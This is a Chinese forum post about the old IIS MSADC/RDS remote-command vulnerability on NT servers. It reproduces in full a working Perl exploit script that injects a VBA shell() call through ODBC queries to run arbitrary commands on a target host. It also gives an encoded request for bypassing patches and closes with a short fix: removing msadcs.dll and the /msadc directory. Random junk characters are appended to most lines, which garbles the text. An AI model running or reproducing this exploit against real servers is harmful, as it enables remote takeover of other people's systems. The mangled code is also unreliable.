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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) (L_-!=e  
d"$8-_K  
涉及程序: nR!e(  
Microsoft NT server $Gn.G_"v  
 R$a<=  
描述: z3fv}_\z  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 P:qmg"i@3  
&J[a.:..  
详细: l^B.iB  
如果你没有时间读详细内容的话,就删除: h`fVQN.3  
c:\Program Files\Common Files\System\Msadc\msadcs.dll B~Q-V&@o  
有关的安全问题就没有了。 [&Xp]:M'D  
B[vj X"yg  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ) "#'   
TQ Vk;&A  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 WA{igj@\  
关于利用ODBC远程漏洞的描述,请参看: &v\F ah U  
ZO}Og&%  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm r );R/)&  
j)1yv.  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 q^@*{H  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ]' mbHkn68  
y!e]bvN  
这里不再论述。 )n/%P4l  
r;cDYg  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: &[.5@sv  
z(PUoV:?  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset mp|pz%U  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! GnV0~?  
<J[ le=  
~m%[d. }e  
#将下面这段保存为txt文件,然后: "perl -x 文件名" :d mE/Tq  
x^eu[olN  
#!perl I8F+Z  
# |J`EM7qMK  
# MSADC/RDS 'usage' (aka exploit) script ]5W$EvZ9)  
# -"(*'hD  
# by rain.forest.puppy XLpP*VH3  
# <sdgL+&1h  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me St=nf\P&F  
# beta test and find errors! [^>XR BSm  
\lL[08G  
use Socket; use Getopt::Std; MsB >3  
getopts("e:vd:h:XR", \%args); ~KK 9aV{  
B|(g?  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; AXfU$~  
;!yK~OBxt  
if (!defined $args{h} && !defined $args{R}) { $QX$rN  
print qq~ *[MWvs:,  
Usage: msadc.pl -h <host> { -d <delay> -X -v } uL'f8Pqg  
-h <host> = host you want to scan (ip or domain) K2m>D=w  
-d <seconds> = delay between calls, default 1 second _ %s#Cb  
-X = dump Index Server path table, if available ~{x1/eH  
-v = verbose wcHk]mLM  
-e = external dictionary file for step 5 #ydold{F  
Z0|5VLk,<{  
Or a -R will resume a command session 6fwNlC/9  
o7y<Zd`Bj  
~; exit;} n}p G&&;q  
=4y gbk  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 6(|mdk`i  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} j:9M${~  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} _h%Jf{nu  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); kuY^o,u-1e  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} mY|c7}>V;  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ;W|kc</R*  
KbJ6U75|f  
if (!defined $args{R}){ $ret = &has_msadc; _K5<)( )  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} b3N IFKw  
5hs_k[q  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" h y rPu_  
. "cmd /c "; SA, ~q&  
$in=<STDIN>; chomp $in; "+DA)K  
$command="cmd /c " . $in ; a=S &r1s>  
SX3'|'-  
if (defined $args{R}) {&load; exit;} /08FV|tX)  
J%bNt)K}  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; !&)X5oJ  
&try_btcustmr; --HDEc|  
"2e3 <:$  
print "\nStep 2: Trying to make our own DSN..."; XY0kd&N8  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; N=mvr&arP  
0'&C5v'  
print "\nStep 3: Trying known DSNs..."; N'1I6e"  
&known_dsn; m:_#kfC&K"  
_KRnx-  
print "\nStep 4: Trying known .mdbs..."; \Z*:l(  
&known_mdb; @Z]0c=-+  
%PW-E($o<  
if (defined $args{e}){ e\)%<G5  
print "\nStep 5: Trying dictionary of DSN names..."; 5 nt3gVy  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 4S(G366  
$G=^cNB|JB  
print "Sorry Charley...maybe next time?\n"; Owp]>e  
exit; ,Csdon  
1$Up7=Dr=  
############################################################################## 0+&WIs  
8~y!X0Ov!  
sub sendraw { # ripped and modded from whisker ,7nu;fOT[  
sleep($delay); # it's a DoS on the server! At least on mine... ``xm##K  
my ($pstr)=@_;  ZllmaI  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || AFt- V  
die("Socket problems\n"); I!zoo[/)%  
if(connect(S,pack "SnA4x8",2,80,$target)){ 5%'ybh)@   
select(S); $|=1; ^P^"t^O  
print $pstr; my @in=<S>; ~XUUrg;  
select(STDOUT); close(S); `JIp$  
return @in; h(WlJCln  
} else { die("Can't connect...\n"); }} 2e6P?pX~2  
Q-)(s  
############################################################################## \^1^|a"  
 hyxv+m[  
sub make_header { # make the HTTP request Dw=L]i :0v  
my $msadc=<<EOT #jbC@A9Pe  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 O!PGZuF  
User-Agent: ACTIVEDATA lB}?ey   
Host: $ip c[J 2;"SP  
Content-Length: $clen 8hV]t'/;  
Connection: Keep-Alive erI&XI  
/}u:N:HA%  
ADCClientVersion:01.06 ?`TQ!m6y  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 S5|7D[*  
mB2}(DbhE  
--!ADM!ROX!YOUR!WORLD! @Z0. }}Y  
Content-Type: application/x-varg t{,$?}  
Content-Length: $reqlen <\*)YKjn/@  
D[W ` q#W  
EOT *wAX&+);  
; $msadc=~s/\n/\r\n/g; HubG>]  
return $msadc;} u%L6@M2  
%n]jsdE^|  
############################################################################## +R?E @S  
9u~C?w  
sub make_req { # make the RDS request lf\"6VIsR  
my ($switch, $p1, $p2)=@_; ,%Pn.E* r;  
my $req=""; my $t1, $t2, $query, $dsn; 2SU'lh\E  
*K>2B99TXu  
if ($switch==1){ # this is the btcustmr.mdb query U>Is mF>m  
$query="Select * from Customers where City=" . make_shell(); .aL%}`8l?  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . EQnU:a  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ;8VZsh  
};2Lrz9<  
elsif ($switch==2){ # this is general make table query x ~l"'qsK  
$query="create table AZZ (B int, C varchar(10))"; )YCH>Za  
$dsn="$p1";} &2@"zD  
AU*]D@H  
elsif ($switch==3){ # this is general exploit table query Uq=Rz8hLM  
$query="select * from AZZ where C=" . make_shell(); w8>lWgN  
$dsn="$p1";} ?@A@;`0Y  
_2k<MiqCD[  
elsif ($switch==4){ # attempt to hork file info from index server .K940& Ui  
$query="select path from scope()"; <)cmI .J3  
$dsn="Provider=MSIDXS;";} -8:O?]+Q/  
a"+VP>4  
elsif ($switch==5){ # bad query bq7()ocA  
$query="select"; )`=N+k]  
$dsn="$p1";} Jx3a7CpX  
8}z PDs  
$t1= make_unicode($query); M/[9ZgDc  
$t2= make_unicode($dsn); Q1h v2*/U  
$req = "\x02\x00\x03\x00"; 4pDZ +}p  
$req.= "\x08\x00" . pack ("S1", length($t1)); acpc[ ^'  
$req.= "\x00\x00" . $t1 ; 11J:>A5zt  
$req.= "\x08\x00" . pack ("S1", length($t2)); D -e^b'l  
$req.= "\x00\x00" . $t2 ; { F0"U=  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; Yk4ah$}%-^  
return $req;} LQ$dT#z2A  
oxCfSA  
############################################################################## 3e[k9`  
XF4NRs  
sub make_shell { # this makes the shell() statement lr,i5n{6  
return "'|shell(\"$command\")|'";} H]lD*3b  
@[(%b{TE;  
############################################################################## 5OFb9YX  
_i"[m(ABj1  
sub make_unicode { # quick little function to convert to unicode iow8H' F  
my ($in)=@_; my $out; .Vq_O u  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } `O=LQ m`  
return $out;} Z=?qf$.}  
"%t !+E>nr  
############################################################################## TwE&5F*  
?y{"OuRf.  
sub rdo_success { # checks for RDO return success (this is kludge) E<_+Tc  
my (@in) = @_; my $base=content_start(@in); DB1Y`l  
if($in[$base]=~/multipart\/mixed/){ dZbG#4oO  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ]_)=xF19  
return 0;} j%&^qD,  
l\-(li H  
############################################################################## pQxi0/dp  
qoD M!~  
sub make_dsn { # this makes a DSN for us |}roR{gc|  
my @drives=("c","d","e","f"); 1<9m^9_ro  
print "\nMaking DSN: "; LYiz:cQh  
foreach $drive (@drives) { Eh;~y*k\  
print "$drive: "; KWV{wW=-  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . HaamLu  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Ib4 8`  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); (3G]-  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ph1veD<ZZ  
return 0 if $2 eq "404"; # not found/doesn't exist D&)gcO`\  
if($2 eq "200") { 4a~9?}V:  
foreach $line (@results) { hAZ"M:f  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} &"svt2  
} return 0;} dQFx]p3L  
hMx/}Tw wt  
############################################################################## -r82'3]  
PFIL)D |G  
sub verify_exists { K`1\3J)  
my ($page)=@_; Hv>Hz*s_I  
my @results=sendraw("GET $page HTTP/1.0\n\n"); Xl%&hM  
return $results[0];} h^0!I TL^  
{Z|.-~W  
############################################################################## qx/GioPU  
S,v9\wN.  
sub try_btcustmr { 'm"H*f  
my @drives=("c","d","e","f"); /T*]RO4%>]  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 7b T5-=.  
.,x08M  
foreach $dir (@dirs) { Hp":r%)  
print "$dir -> "; # fun status so you can see progress B: uW(E  
foreach $drive (@drives) { o0Hh&:6!M  
print "$drive: "; # ditto G\IH b |  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; GL1!Z3  
$reqlenlen=length( "$reqlen" ); !/$BXUrd  
$clen= 206 + $reqlenlen + $reqlen; bLoYg^T/  
Wm.SLr,o0  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); BZx#@356N  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} hD l+  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} (85F1"Jp  
}EO n=*  
############################################################################## GYv2 ^IB:  
@v2kAOw[  
sub odbc_error { Xf9VW}`*8  
my (@in)=@_; my $base; KFCzf_P!  
my $base = content_start(@in); 'F[QE9]*  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this qx53,^2  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ipKkz  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; '&T4ryq3"  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; F{f "xM  
return $in[$base+4].$in[$base+5].$in[$base+6];} 'J<KL#og  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; z/rN+ ,  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . TiF$',WMv  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} sbNCviKP  
IEeh)aj[  
############################################################################## M6|Q~8$  
hlkf|H  
sub verbose { .6OE8w 1  
my ($in)=@_; 8X*6i-j5E  
return if !$verbose; X'[S Cs  
print STDOUT "\n$in\n";} _.FxqH>  
} "y{d@  
############################################################################## v=SC*  
m=NX;t  
sub save { 0t*q5pAG".  
my ($p1, $p2, $p3, $p4)=@_; jB?Tua$,s  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; `t ZvIy*  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; |n67!1  
close OUT;} 4"wuqr|o  
|$9k z31  
############################################################################## ;U}lh~e11  
R[Kyq|UyVr  
sub load { ga~rllm;i  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; &Cdk%@Tj]B  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); Y@^M U->+  
@p=<IN>; close(IN); MWsBZJRr  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); )0RH"#, 2L  
$target= inet_aton($ip) || die("inet_aton problems"); |7UR_(}KC  
print "Resuming to $ip ..."; }3^t,>I=,6  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; H-0A&oG  
if($p[1]==1) { Eh0R0;l5>  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; sRb)*p'  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; H`aqpa"C  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); MBDu0 [c  
if (rdo_success(@results)){print "Success!\n";} kUn55 l  
else { print "failed\n"; verbose(odbc_error(@results));}} "i4@'`r  
elsif ($p[1]==3){ [ZOo%"M_Y  
if(run_query("$p[3]")){ I`E9]b(w  
print "Success!\n";} else { print "failed\n"; }} O^4:4tRpt  
elsif ($p[1]==4){ SAc}5.  
if(run_query($drvst . "$p[3]")){ +@AN+!(  
print "Success!\n"; } else { print "failed\n"; }} &d9tR\}  
exit;} Nm:nSqc  
mTYEK4}  
############################################################################## "F}a nPY  
nXk<DlTws  
sub create_table { VGA?B@  
my ($in)=@_; E,u@,= j  
$reqlen=length( make_req(2,$in,"") ) - 28; C-m OtI  
$reqlenlen=length( "$reqlen" ); "f(iQI  
$clen= 206 + $reqlenlen + $reqlen; .z7F58  
my @results=sendraw(make_header() . make_req(2,$in,"")); ;0P2nc:U~  
return 1 if rdo_success(@results); BRFA%FZ,  
my $temp= odbc_error(@results); verbose($temp); r2qxi'  
return 1 if $temp=~/Table 'AZZ' already exists/; d1D{wZ3g  
return 0;} I(bH.{1n7  
W(1p0|WQ:  
############################################################################## ;:hyW,J  
O:q 0-  
sub known_dsn { <IGnWAWn  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go {Z3B#,V(g  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", j#9p 0[  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", j$n[; \]n  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); Pj8s;#~u  
yfnqu4Cn  
foreach $dSn (@dsns) { |\*7J!Liv  
print "."; O (<Wn-  
next if (!is_access("DSN=$dSn")); |Xlc2?e  
if(create_table("DSN=$dSn")){ Nf%jLK~  
print "$dSn successful\n"; ="P 3TP  
if(run_query("DSN=$dSn")){ lnEc5J@c>i  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { peY(4#  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 5<<e_n.2q  
3YR6@*!f/  
############################################################################## [kMXr'TyPX  
nMNAn}~*M  
sub is_access { LL7a 20  
my ($in)=@_; /RT3 r  
$reqlen=length( make_req(5,$in,"") ) - 28; #'mb9GWD3  
$reqlenlen=length( "$reqlen" ); PnJr  
$clen= 206 + $reqlenlen + $reqlen; Ge8&_7  
my @results=sendraw(make_header() . make_req(5,$in,"")); ]m{;yOQdsC  
my $temp= odbc_error(@results); Y [0 S  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); #)AcK|*y  
return 0;} M3Q#=yy$D$  
E%:!* 9  
############################################################################## vHcB ^Z  
muwXzN(KX  
sub run_query { :(c2YZ   
my ($in)=@_; )@RTU~#  
$reqlen=length( make_req(3,$in,"") ) - 28; U{q6_z|c  
$reqlenlen=length( "$reqlen" ); R|Z$aHQ  
$clen= 206 + $reqlenlen + $reqlen; 7v}4 Pl,$4  
my @results=sendraw(make_header() . make_req(3,$in,"")); pv~XZ(J.1  
return 1 if rdo_success(@results); ?>N82#9Q  
my $temp= odbc_error(@results); verbose($temp);  (d |  
return 0;} v)N8vFdd  
.J#xlOa-  
############################################################################## ',n;ag`c  
])!|b2:s3  
sub known_mdb { )zlksF  
my @drives=("c","d","e","f","g"); ?u` ?_us  
my @dirs=("winnt","winnt35","winnt351","win","windows"); HdGAE1eU]}  
my $dir, $drive, $mdb; ?d%+85  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Ne,7[k  
J)Dw`=O0n  
# this is sparse, because I don't know of many ^ ]SS\=7  
my @sysmdbs=( "\\catroot\\icatalog.mdb", e2*0NT^R  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 3M8P%  
"\\system32\\certmdb.mdb", ?q1&(g]qO  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% Mii-Q`.:  
L.$9ernVY  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", g3 6oEz~|  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 2x{@19w)C  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", eft-]c+*0  
"\\cfusion\\cfapps\\security\\realm_.mdb", aCcBmc  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", hi"[R@UG  
"\\cfusion\\database\\cfexamples.mdb", *E+2E^B  
"\\cfusion\\database\\cfsnippets.mdb", qEX2K^y'4"  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", aDb@u3X@  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", quN7'5ZC[  
"\\cfusion\\brighttiger\\database\\cleam.mdb", N5#qox$D  
"\\cfusion\\database\\smpolicy.mdb", p<Wb^BE  
"\\cfusion\\database\cypress.mdb", "B*a| 'n!  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 9*GwW&M%1_  
"\\website\\cgi-win\\dbsample.mdb", 7f8%WD)  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", okoD26tK  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" xyj)W  
); #these are just vC E$)z'"  
foreach $drive (@drives) { x9xb4ZW  
foreach $dir (@dirs){ eW"i'\`0  
foreach $mdb (@sysmdbs) { l " pCxA  
print "."; gP/[=:  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ `I,A7b  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; [6K2V:6:  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ C$){H"#  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; $SSE\+|3  
} else { print "Something's borked. Use verbose next time\n"; }}}}} BF<7.<,  
V2g,JFp&  
foreach $drive (@drives) { Ziu f<X{  
foreach $mdb (@mdbs) { Wy@Z)z?  
print "."; V9-pY/v 9  
if(create_table($drv . $drive . $dir . $mdb)){ zwR@^ 5^6  
print "\n" . $drive . $dir . $mdb . " successful\n"; Msn)jh  
if(run_query($drv . $drive . $dir . $mdb)){ >9a%"<(2#  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; y$r^UjJEO  
} else { print "Something's borked. Use verbose next time\n"; }}}} -b~MQ/, 2  
} @ v/%^  
T?!^-PD9*  
############################################################################## 6#T?g7\pyR  
<89@k(\ /  
sub hork_idx { 0(|R N V_  
print "\nAttempting to dump Index Server tables...\n"; b<_*~af  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; WLiY:X(+|  
$reqlen=length( make_req(4,"","") ) - 28; vVc:[i  
$reqlenlen=length( "$reqlen" ); L$zT`1Hy  
$clen= 206 + $reqlenlen + $reqlen; jec03wH_0  
my @results=sendraw2(make_header() . make_req(4,"","")); &UP@Sr0D7  
if (rdo_success(@results)){ :>nk63V (  
my $max=@results; my $c; my %d; 8H./@~_ =  
for($c=19; $c<$max; $c++){ *u>2"!+Ob  
$results[$c]=~s/\x00//g; uQ&&? j  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; l6xC'c,jg  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; .Y_RI&B!L  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; c1wgb8  
$d{"$1$2"}="";} $LAaG65V  
foreach $c (keys %d){ print "$c\n"; } b6bmvHD  
} else {print "Index server doesn't seem to be installed.\n"; }} a: iIfdd4'  
&w2.b:HF  
############################################################################## gwThhwR  
JQ+4 SomK  
sub dsn_dict { [H0jDbN  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); X_ H R$il  
while(<IN>){ PHfGl  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; \VHi   
next if (!is_access("DSN=$dSn")); Y4@~NCU/  
if(create_table("DSN=$dSn")){ T fzad2}^  
print "$dSn successful\n"; i= ~HXr}  
if(run_query("DSN=$dSn")){ > m}.}g8  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { #$jAGt3^BT  
print "Something's borked. Use verbose next time\n";}}} [+{ ot   
print "\n"; close(IN);} /Ia=/Jj7N  
~lCG37  
############################################################################## 1uB}Oe 2~  
Zdh4CNEeFP  
sub sendraw2 { # ripped and modded from whisker 4ms hB  
sleep($delay); # it's a DoS on the server! At least on mine... &_" 3~:N8k  
my ($pstr)=@_; \5s!lv*&  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || p]!,Bo ZL  
die("Socket problems\n"); lqX]'gu]\  
if(connect(S,pack "SnA4x8",2,80,$target)){ Rr%]/%  
print "Connected. Getting data"; :U ?P~HI  
open(OUT,">raw.out"); my @in; F`Q,pBl1p6  
select(S); $|=1; print $pstr; &9o @x]) @  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} AKa{C f  
close(OUT); select(STDOUT); close(S); return @in; ed{z^!w4  
} else { die("Can't connect...\n"); }} }5Y.N7F  
xg'0YZ\t  
############################################################################## S31 :}   
Ug_zyfr  
sub content_start { # this will take in the server headers `~@BU  
my (@in)=@_; my $c; mWmDH74  
for ($c=1;$c<500;$c++) { ^Xa-)Pu  
if($in[$c] =~/^\x0d\x0a/){ 9!2KpuWji  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } U%gP2]t%cs  
else { return $c+1; }}} y::KjB 0  
return -1;} # it should never get here actually WgE~H)_%  
gjo\g P@  
############################################################################## @sfV hWG  
\VtCkb  
sub funky { uAVV4)  
my (@in)=@_; my $error=odbc_error(@in); F{l,Tl"Jw  
if($error=~/ADO could not find the specified provider/){ ~p'/Z@Atu  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 2$\1v*:  
exit;} v#-%_V>ph  
if($error=~/A Handler is required/){ Ao{wd1  
print "\nServer has custom handler filters (they most likely are patched)\n"; fD,#z&  
exit;} 3XL0Pm  
if($error=~/specified Handler has denied Access/){ QR4v6*VpD  
print "\nServer has custom handler filters (they most likely are patched)\n"; Yo7ctwzdH;  
exit;}} wfo}TGhC  
lJ7k4ua\  
############################################################################## Fi7pq2  
,{'~J @  
sub has_msadc { ^4s#nf:}  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ?[XH`c,  
my $base=content_start(@results); v]VIUVd  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); =i:?4pIZ  
return 0;} *:\QD 8^  
!29 Rl`9  
######################## 4`Fbl]Q   
%}j/G l5  
[c>X Q  
解决方案: Onot<}K  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll *:YW@Gbm  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 , / 4}CM  
'BUdySng  
拿出来充数 哈哈
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